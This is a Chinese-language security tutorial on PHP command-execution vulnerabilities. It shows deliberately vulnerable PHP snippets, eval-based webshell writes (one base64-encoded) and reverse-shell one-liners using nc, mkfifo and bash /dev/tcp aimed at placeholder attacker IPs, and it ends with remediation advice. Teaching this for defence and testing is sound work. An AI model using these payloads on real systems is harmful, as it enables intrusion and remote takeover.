命令执行漏洞
概述
命令执行漏洞(RCE,Remote Code Execution 或 Remote Command Execution)是一种严重的安全漏洞,允许攻击者在目标服务器上执行任意系统命令。
产生原因
命令执行漏洞通常因为开发者未对用户输入的参数进行严格验证或过滤,导致用户输入的内容被直接拼接到了命令执行函数中,导致用户可以在服务器上执行任意命令
危害
命令执行漏洞的危害极大,可能导致以下后果:
执行任意系统命令:攻击者可执行任意命令,如查看敏感文件、修改系统配置、安装恶意软件等。
权限提升:
- Linux 系统:通常以 Web 中间件(如 Apache 的
www-data
用户)的权限运行命令。若系统配置不当,可能通过漏洞提权至管理员权限(id = 0
)。 - Windows 系统:可通过
whoami /priv
查看当前用户权限,结合其他漏洞实现更高权限操作。
- Linux 系统:通常以 Web 中间件(如 Apache 的
数据泄露:访问敏感文件(如
/etc/passwd
、数据库配置文件)导致信息泄露。持久化控制:植入后门(如 Webshell),实现长期控制。
拒绝服务攻击:执行资源密集型命令(如
rm -rf /*
)导致系统瘫痪。
挖掘方法
PHP 代码审计
在进行 PHP 代码审计时,可按照以下步骤挖掘命令执行漏洞:
定位命令执行函数:
- 查找可能执行系统命令的函数,如
system()
、exec()
、shell_exec()
、passthru()
、popen()
、反引号(`
)等。 - 使用正则表达式搜索代码:
system\s*\(
、exec\s*\(
等。
- 查找可能执行系统命令的函数,如
检查参数可控性:
- 确认函数参数是否直接或间接来自用户输入(如
$_GET
、$_POST
、$_REQUEST
)。 - 检查是否存在输入过滤或转义机制(如
escapeshellcmd()
、escapeshellarg()
)。
- 确认函数参数是否直接或间接来自用户输入(如
分析上下文:
- 检查命令拼接逻辑,确认用户输入是否被拼接到命令字符串中。
- 检查是否存在白名单机制或严格的正则验证。
常见 PHP 命令执行函数
以下是 PHP 中常见的命令执行函数及其特点:
system()
执行外部程序(如系统命令),并且显示输出。
<?php
system($_GET['cmd']);
?>
特点:自带输出,无需额外处理。
shell_exec()
通过 shell 执行命令并将完整的输出以字符串的方式返回。
<?php
echo shell_exec($_GET['cmd']);
?>
特点:没有输出,想要返回完整命令输出,需用 echo
输出结果。
exec()
执行一个外部程序,即参数所指定的命令。
<?php
echo exec($_GET['cmd']);
?>
特点:仅返回最后一行,适合简单命令。若需完整输出,可结合数组参数获取。
passthru()
执行外部程序并且显示原始输出。
<?php
passthru($_GET['cmd']);
?>
特点:类似 system()
。
popen()
执行命令并返回文件句柄,需手动处理输出。
<?php
popen($_GET['a'],'r');
?>
优化方案:将命令结果重定向到文件,再读取并删除文件。
<?php
$cmd = $_GET['a'];
//执行命令时,自动导出结果到 1.txt 中
popen("$cmd > 1.txt",'r');
//读取 1.txt 的内容并输出
echo file_get_contents('1.txt');
//删除 1.txt 文件
unlink('1.txt');
?>
反引号(`
)
等价于 shell_exec()
,执行命令并返回输出。
<?php
$cmd = $_GET['cmd'];
echo `$cmd`;
?>
特点:语法简洁,但功能与 shell_exec()
相同。
利用
命令拼接符
攻击者常通过命令拼接符扩展命令功能,常见拼接符包括:
&&
:前一条命令成功执行后,执行后一条命令。||
:前一条命令失败后,执行后一条命令。&
:异步执行两条命令。|
:管道符,将前一命令输出作为后一命令输入。;
:顺序执行多条命令。
截图示例
- 使用命令拼接符执行命令执行漏洞:
命令执行写 WebShell
使用 echo
写入 WebShell
直接通过 echo
写入 PHP 文件创建 WebShell。
echo "<?php @eval($_POST['cmd']); ?>" > shell.php
Linux 注意事项:
- Linux Shell 会将
$
视为变量符号,需转义为\$
. - 示例:
echo "<?php @eval(\$_POST['cmd']); ?>" > shell.php
截图示例:
- 写入 WebShell:
使用 echo
和 base64
通过 base64 编码绕过特殊字符限制。
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
注意:
- 如果 base64 字符串包含
+
等 URL 不安全字符,需进行 URL 编码(如将+
替换为%2B
)。 - 示例:
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%3D" | base64 -d > shell.php
截图示例:
echo
和base64
写入 WebShell:
反弹 Shell
反弹 Shell(Reverse Shell)是指受害者主动连接攻击者并提供 Shell,适合绕过防火墙出站限制。
对比项 | 反弹 Shell(Reverse Shell) | 正向 Shell(Bind Shell) |
---|---|---|
连接方向 | 受害者主机主动连接攻击者(出站流量),并向攻击者提供 Shell | 攻击者主动连接受害者(入站流量) |
防火墙绕过能力 | 强(通常防火墙允许出站流量) | 弱(依赖入站规则,易被拦截) |
适用场景 | 目标有严格入站限制、内网/NAT 环境 | 目标开放特定端口,前提需要攻击者可直连 |
攻击者要求 | 需具备公网 IP 并开启监听(如 nc -lvnp [port] ) | 需目标主机开放端口供连接 |
典型工具 | Bash、Netcat、Python、Socat、PowerShell | Netcat、Metasploit、Msfvenom |
使用 nc
反弹 Shell
攻击者:监听端口。
nc -lvnp [port]
受害者:执行连接。
nc -u [攻击者IP] [攻击者port] -e /bin/bash
问题及解决:
- 若受害者机器无
nc
或nc
不支持-e
参数,可使用命名管道:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | bash -i 2>&1 | nc 攻击者IP [攻击者port] > /tmp/f
截图示例:
nc
反弹 Shell:
使用 nc
反弹 Shell(UDP)
攻击者:监听 UDP 端口。
nc -luvnp [port]
受害者:执行单一命令并传输结果。
nc -u [攻击者IP] [攻击者port] -c [command]
使用 bash
反弹 Shell🌟
攻击者:监听端口。
nc -lvnp [port]
受害者:执行反弹 Shell。
bash -i >& /dev/tcp/[攻击者IP]/[攻击者port] 0>&1
注意:
- 若终端为 zsh(如 Kali 或 macOS),需先切换至 bash 或使用
bash -c
包裹:
#直接切换 bash
bash
#使用 bash -c 包裹
bash -c "bash -i >& /dev/tcp/[攻击者IP]/[攻击者port] 0>&1"
原理:
Linux 文件描述符:
0
(标准输入)、1
(标准输出)、2
(标准错误)。默认情况下,
0
是键盘、1
是屏幕、2
是屏幕。反弹 Shell 就是把 0,1,2 都放到远程机器上。
bash 表示远程机器的格式为
/dev/tcp/[IP]/[port]
,这里的/dev/tcp
并不是 Linux 的路径,只是碰巧重名相似。bash -i
: 表示交互式打开 bash 终端#分别把 0,1,2 放到远程机器上 bash -i 0> /dev/tcp/[IP]/[port] bash -i 1> /dev/tcp/[IP]/[port] bash -i 2> /dev/tcp/[IP]/[port]
将以上命令融合
bash -i 1> /dev/tcp/[IP]/[port] bash -i 2> /dev/tcp/[IP]/[port] #首先将把 1,2 放到远程机器上的两条命令融合 bash -i > /dev/trp/[IP]/[port] #> 前不写标识符,代表 1 和 2 都有,即把 1,2 都放到远程机器上 bash -i >& /dev/tcp/[IP]/[port] #>& 表示 1 和 2 定向到了 /dev/tcp/[IP]/[port] 位置 bash -i >& /dev/tcp/[IP]/[port] 0>&1 #0>&1 表示将 0 重定向到 1 所在的位置
截图示例:
bash
反弹 Shell:- URL 编码反弹 Shell:
特殊:Java bash 反弹 Shell 🌟
Java bash 的反弹 Shell 需通过 Runtime base64 编码后执行。
示例(Runtime base64 编码后执行):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9bSVBdL1tQT1JUXSAwPiYx}|{base64,-d}|{bash,-i}
截图示例:
使用 PowerShell 反弹 Shell
攻击者:监听端口。
nc -lvnp [port]
受害者:执行 PowerShell 反弹 Shell。
参考:更多反弹 Shell 命令可参考 revshells.com.
截图示例:
使用脚本语言反弹 Shell
- Python 反弹 Shell:要求受害者必须有 Python,且为 Python 配置了环境变量。
- PHP 反弹 Shell:受害者需要有 PHP,且配置了环境变量。
- 其他语言:如 Ruby、Perl、Go、Lua 等,均需受害者有类似环境支持。
修复建议
输入验证与过滤:
- 对用户输入进行严格的白名单验证,限制输入格式(如只允许字母、数字或特定字符)。
黑名单拦截危险命令:
- 如拦截
rm
、echo
、bash
、命令拼接符等
- 如拦截
使用安全函数:
- 使用
escapeshellarg()
和escapeshellcmd()
对用户输入进行转义。
- 使用
禁用高危函数:
- 在 PHP 配置文件(
php.ini
)中通过disable_functions
禁用高危函数。
- 在 PHP 配置文件(